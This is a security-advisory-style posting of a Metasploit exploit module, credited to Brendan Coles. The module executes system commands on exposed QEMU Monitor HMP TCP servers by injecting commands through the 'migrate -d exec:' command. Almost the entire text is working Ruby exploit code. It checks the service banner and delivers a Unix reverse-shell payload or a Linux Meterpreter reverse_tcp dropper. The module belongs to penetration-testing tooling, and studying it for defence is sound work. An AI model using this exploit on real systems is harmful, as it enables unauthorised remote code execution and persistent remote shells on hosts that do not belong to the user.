QEMU Monitor HMP migrate Command Execution

2022.02.08
Credit: Brendan Coles
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => "QEMU Monitor HMP 'migrate' Command Execution", 'Description' => %q{ This module uses QEMU's Monitor Human Monitor Interface (HMP) TCP server to execute system commands using the `migrate` command. This module has been tested successfully on QEMU version 6.2.0 on Ubuntu 20.04. }, 'License' => MSF_LICENSE, 'Author' => ['bcoles'], 'References' => [ ['URL', 'https://wiki.qemu.org/ToDo/HMP'], ['URL', 'https://www.qemu.org/docs/master/system/monitor.html'], ['URL', 'https://www.qemu.org/docs/master/system/security.html'], ['URL', 'https://www.linux-kvm.org/page/Migration'], ], 'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ], 'Platform' => %w[unix linux], 'Payload' => { 'DisableNops' => true, 'BadChars' => "\x00\x0a\x0d\x22", 'Space' => 1010 }, 'Targets' => [ [ 'Unix (Command)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, 'Type' => :unix_cmd } ], [ 'Linux (Dropper)', { 'Platform' => 'linux', 'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'PrependFork' => true, 'MeterpreterTryToFork' => true }, 'Type' => :linux_dropper } ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] }, 'Privileged' => false, 'DisclosureDate' => '2011-12-02' ) ) end def read_until_prompt ::Timeout.timeout(10) do loop do res = sock.get_once break if res.nil? break if res.to_s.include?('(qemu)') end end end def check connect banner = sock.get_once.to_s disconnect unless banner.include?('QEMU') && banner.include?('monitor') return CheckCode::Safe('Service is not QEMU monitor HMP.') end CheckCode::Appears('QEMU monitor HMP service is running.') end def execute_command(cmd, _opts = {}) cmd = cmd.gsub('\\', '\\\\\\') vprint_status("Executing command: #{cmd}") sock.put("migrate -d \"exec:#{cmd}\"\n") read_until_prompt end def exploit connect read_until_prompt print_status "Sending payload (#{payload.encoded.length} bytes) ..." case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager(linemax: 1010, background: true) end ensure disconnect unless sock.nil? end end


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